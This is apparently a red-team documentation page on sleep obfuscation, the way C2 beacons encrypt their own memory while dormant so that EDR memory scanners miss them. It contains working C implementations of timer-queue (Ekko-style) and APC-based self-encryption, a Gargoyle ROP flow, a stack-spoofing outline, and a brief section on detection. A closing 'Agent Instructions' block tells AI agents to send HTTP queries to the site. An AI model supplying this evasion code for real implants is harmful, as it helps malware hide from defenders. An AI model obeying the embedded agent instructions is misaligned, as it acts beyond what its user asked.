# Sleep Obfuscation — Encrypting Beacons During Rest

### The Problem of Persistent Memory Presence

Modern C2 frameworks such as Cobalt Strike, Havoc, Sliver, and Brute Ratel follow a well-defined cycle: the beacon "wakes up," checks in with the C2 server, executes pending tasks, then "sleeps" for a configured period. During that sleep window the beacon sits completely static in memory.

This dormant period is a critical detection vector. EDRs with periodic memory scanning capabilities (`pe-sieve`, Elastic Defend, SentinelOne) and dedicated tools like **BeaconHunter** and **Hunt-Sleeping-Beacons** were built specifically to find sleeping beacons by looking for:

* Private executable memory regions (`MEM_PRIVATE` + `PAGE_EXECUTE_*`)
* Byte patterns characteristic of known frameworks (Cobalt Strike, Meterpreter)
* Suspicious call stacks in sleeping threads (SleepEx returning to a non-module region)

**Sleep Obfuscation** solves this by encrypting the beacon's own code and data while it sleeps, making it undetectable to memory scanners.

```
┌──────────────────────────────────────────────────────────────────────┐
│              Beacon Lifecycle with Sleep Obfuscation                 │
│                                                                      │
│  [Beacon wakes up]                                                   │
│       │                                                              │
│       ▼                                                              │
│  [Decrypts its own image in memory]                                  │
│       │                                                              │
│       ▼                                                              │
│  [Checks in with C2, executes tasks]                                 │
│       │                                                              │
│       ▼                                                              │
│  [Encrypts its own image: code, data, keys]                         │
│       │                                                              │
│  ─────┼──────────────────────────────────────────────────────────   │
│  Beacon sleeps. Memory contains only random bytes.                  │
│  No memory scanner finds recognizable patterns.                     │
│  ─────┼──────────────────────────────────────────────────────────   │
│       │                                                              │
│       ▼                                                              │
│  [Timer fires → wake up → decrypt → cycle restarts]                 │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Technique 1: Ekko — Timer-based Sleep Obfuscation

**Ekko** (published by C5pider/Cracked5pider) is an elegant sleep obfuscation implementation that uses Windows **timer queue callbacks** to perform encryption operations without spawning additional threads:

1. Schedule a `CreateTimerQueueTimer` callback to fire after a short delay
2. The callback XOR-encrypts the beacon's memory regions
3. Block on a `WaitForSingleObject` that waits for the decrypt timer to fire
4. A second timer decrypts memory before returning control to the beacon

```c
// Implementation based on the Ekko project (C5pider)
// github.com/Cracked5pider/Ekko

#include <windows.h>
#include <ntsecapi.h>

// Context structure shared between timer callbacks
typedef struct {
    HANDLE  hEvent;
    PVOID   pPayload;       // Base of the region to encrypt
    SIZE_T  payloadSize;    // Region size
    BYTE    xorKey[16];     // XOR key
    BOOL    encrypt;        // TRUE = encrypt, FALSE = decrypt
} TIMER_CONTEXT;

// Timer queue callback — XORs the beacon's memory
VOID CALLBACK TimerCallback(PVOID lpParameter, BOOLEAN timerOrWaitFired) {
    TIMER_CONTEXT* ctx = (TIMER_CONTEXT*)lpParameter;

    // Flip protection to allow writing
    DWORD oldProtect = 0;
    VirtualProtect(ctx->pPayload, ctx->payloadSize,
                   PAGE_EXECUTE_READWRITE, &oldProtect);

    // XOR the region
    BYTE* p = (BYTE*)ctx->pPayload;
    for (SIZE_T i = 0; i < ctx->payloadSize; i++) {
        p[i] ^= ctx->xorKey[i % sizeof(ctx->xorKey)];
    }

    // Restore original protection
    VirtualProtect(ctx->pPayload, ctx->payloadSize, oldProtect, &oldProtect);

    // Signal the main thread to wake up
    if (ctx->hEvent) {
        SetEvent(ctx->hEvent);
    }
}

// Main obfuscated sleep function
void ObfuscatedSleep(DWORD sleepMs) {
    HANDLE hTimerQueue = CreateTimerQueue();
    HANDLE hEvent      = CreateEventA(NULL, FALSE, FALSE, NULL);
    HANDLE hEncTimer   = NULL;
    HANDLE hDecTimer   = NULL;

    // Generate a random key for this sleep cycle
    BYTE xorKey[16];
    RtlGenRandom(xorKey, sizeof(xorKey));

    // Get the current module base and size (the beacon itself)
    HMODULE hSelf = GetModuleHandleA(NULL);
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hSelf;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)hSelf + dos->e_lfanew);
    PVOID  pBase    = (PVOID)hSelf;
    SIZE_T imageSize = nt->OptionalHeader.SizeOfImage;

    // Context for the encryption timer (fires immediately)
    TIMER_CONTEXT encCtx = {
        .hEvent      = NULL,        // No event — nothing to signal
        .pPayload    = pBase,
        .payloadSize = imageSize,
        .encrypt     = TRUE
    };
    memcpy(encCtx.xorKey, xorKey, sizeof(xorKey));

    // Context for the decryption timer (fires after sleepMs)
    TIMER_CONTEXT decCtx = {
        .hEvent      = hEvent,      // Signals the main thread to resume
        .pPayload    = pBase,
        .payloadSize = imageSize,
        .encrypt     = FALSE
    };
    memcpy(decCtx.xorKey, xorKey, sizeof(xorKey));

    // Schedule encryption (immediate)
    CreateTimerQueueTimer(&hEncTimer, hTimerQueue,
        TimerCallback, &encCtx,
        0,          // 0 ms delay — fires immediately
        0,          // No repeat
        WT_EXECUTEONLYONCE
    );

    // Brief pause to ensure encryption has completed
    Sleep(100);

    // Schedule decryption (after the sleep period)
    CreateTimerQueueTimer(&hDecTimer, hTimerQueue,
        TimerCallback, &decCtx,
        sleepMs,
        0,
        WT_EXECUTEONLYONCE
    );

    // Block here until decryption fires — this is the actual sleep.
    // While waiting, beacon memory is encrypted and invisible to scanners.
    WaitForSingleObject(hEvent, INFINITE);

    DeleteTimerQueueEx(hTimerQueue, NULL);
    CloseHandle(hEvent);
}
```

***

### Technique 2: Foliage — APC-based Sleep Obfuscation

**Foliage** uses APCs queued to the current thread to perform encryption, eliminating the need for timer queues:

```c
#include <windows.h>

typedef struct {
    PVOID  pBase;
    SIZE_T size;
    BYTE   key[32];
} OBFUSC_PARAMS;

// APC callback that XOR-encrypts/decrypts a memory region
VOID CALLBACK ObfuscateAPC(ULONG_PTR dwParam) {
    OBFUSC_PARAMS* p = (OBFUSC_PARAMS*)dwParam;

    DWORD old = 0;
    VirtualProtect(p->pBase, p->size, PAGE_EXECUTE_READWRITE, &old);

    BYTE* mem = (BYTE*)p->pBase;
    for (SIZE_T i = 0; i < p->size; i++) {
        mem[i] ^= p->key[i % 32];
    }

    VirtualProtect(p->pBase, p->size, old, &old);
}

void ApcObfuscatedSleep(DWORD ms) {
    HANDLE hThread = GetCurrentThread();

    BYTE key[32];
    RtlGenRandom(key, sizeof(key));

    HMODULE hSelf    = GetModuleHandleA(NULL);
    PVOID   pBase    = (PVOID)hSelf;
    SIZE_T  imgSize  = ((PIMAGE_NT_HEADERS)((BYTE*)hSelf +
                         ((PIMAGE_DOS_HEADER)hSelf)->e_lfanew))->OptionalHeader.SizeOfImage;

    OBFUSC_PARAMS params = { .pBase = pBase, .size = imgSize };
    memcpy(params.key, key, sizeof(key));

    // Queue the encryption APC — fires at next alertable wait
    QueueUserAPC(ObfuscateAPC, hThread, (ULONG_PTR)&params);

    // SleepEx(bAlertable=TRUE) executes the encryption APC, then sleeps
    SleepEx(ms, TRUE);

    // On wake, queue the decryption APC and run it immediately
    QueueUserAPC(ObfuscateAPC, hThread, (ULONG_PTR)&params);
    SleepEx(0, TRUE);
}
```

***

### Technique 3: Gargoyle — ROP-based Sleep Obfuscation

Gargoyle (Joshua Lospinoso, 2017) is a more advanced technique that uses ROP (Return Oriented Programming) to hide the beacon during sleep. While dormant:

1. The shellcode is encrypted and execution permission is stripped
2. A ROP gadget chain is set up to run when the timer fires
3. The beacon is invisible to scanners: non-executable memory, encrypted bytes

```
┌──────────────────────────────────────────────────────────────────────┐
│                    Gargoyle — Detailed Flow                          │
│                                                                      │
│  1. Beacon runs normally in an RWX page                              │
│     ↓                                                                │
│  2. Timer scheduled with a callback that executes the ROP chain      │
│     ↓                                                                │
│  3. Beacon encrypts its own memory                                   │
│     ↓                                                                │
│  4. Remove execute permission (PAGE_READWRITE only)                  │
│     ↓                                                                │
│  5. WaitForTimer — beacon sleeps with no executable code             │
│     [Scanner sees: RW region with random bytes — CLEAN]             │
│     ↓                                                                │
│  6. Timer fires → executes ROP gadget inside ntdll (legitimate)     │
│     ↓                                                                │
│  7. ROP chain: VirtualProtect(RWX) → decrypt → return to beacon    │
│     ↓                                                                │
│  8. Beacon resumes normal execution                                  │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Technique 4: Stack Spoofing During Sleep

Even with memory encrypted, the **call stack** of a sleeping thread can betray the beacon. A thread with a stack like `ntdll!NtWaitForSingleObject → [code in heap]` is immediately suspicious.

Stack spoofing replaces the thread's stack frames during sleep:

```c
// Concept: stack spoofing during sleep
// Complete implementations: Cobalt Strike 4.5+ (built-in),
// VulpesFurtim, ThreadStackSpoofer

void SleepWithStackSpoof(DWORD ms) {
    // 1. Save real stack frames
    // 2. Overwrite frames with a clean, legitimate-looking call stack
    //    (e.g., explorer.exe → kernel32 → ntdll)
    // 3. Sleep (WaitForSingleObject)
    // 4. Restore real frames on wake
    // 5. Resume execution

    // Full implementation requires manual stack and unwind-data manipulation
}
```

***

### C2 Framework Support

```
┌──────────────────────────────────────────────────────────────────────┐
│         Sleep Obfuscation in Known C2 Frameworks                     │
│                                                                      │
│  Framework       │ Technique               │ Availability           │
│  ──────────────  │ ──────────────────────  │ ─────────────────────  │
│  Cobalt Strike   │ Stack Spoof + Sleep     │ 4.5+ (built-in)       │
│  Havoc C2        │ Ekko / APC-based        │ Configurable          │
│  Brute Ratel C4  │ Custom implementation   │ Default               │
│  Sliver          │ Experimental            │ In development        │
│  Metasploit      │ Not implemented         │ N/A                   │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Detecting Sleep Obfuscation

Detection of sleep obfuscation is an active area of defensive research:

* **Memory snapshot comparison**: Compares region contents between two points in time. Regions whose content changes without a legitimate reason are suspicious.
* **Call stack analysis during sleep**: Inspects stacks of sleeping threads. A stack with `SleepEx` returning to a non-module region indicates a beacon.
* **Timer callback inspection**: Audits registered timer queue callbacks. A callback pointing into a private region is anomalous.
* **BeaconHunter** (Elastic): Detects C2 behavioral patterns via ETW and syscall analysis.
* **Hunt-Sleeping-Beacons** (thefLink): Purpose-built tool that finds dormant beacons by analyzing call stacks and memory region types.

***

### References

* C5pider, "Ekko: A Small Sleep Obfuscation Technique" — github.com/Cracked5pider/Ekko (2022)
* Joshua Lospinoso, "Gargoyle: A Memory Scanning Evasion Technique" — jlospinoso.github.io (2017)
* Kyle Avery, "VulpesFurtim: Obfuscating Cobalt Strike Beacons" — kyleleavery.com (2021)
* thefLink, "Hunt-Sleeping-Beacons" — github.com/thefLink/Hunt-Sleeping-Beacons
* Elastic Security Labs, "Detecting Sleeping Beacons" — elastic.co/security-labs (2022)
* MDSec, "In-Process Shellcode Obfuscation" — mdsec.co.uk (2021)
* Cobalt Strike, "Sleep Mask Kit Documentation" — hstechdocs.helpsystems.com
* SEKTOR7, "Advanced Malware Development: Evasion" — sektor7.net


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.redteamleaders.com/offensive-security/defense-evasion/sleep-obfuscation-encrypting-beacons-during-rest.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
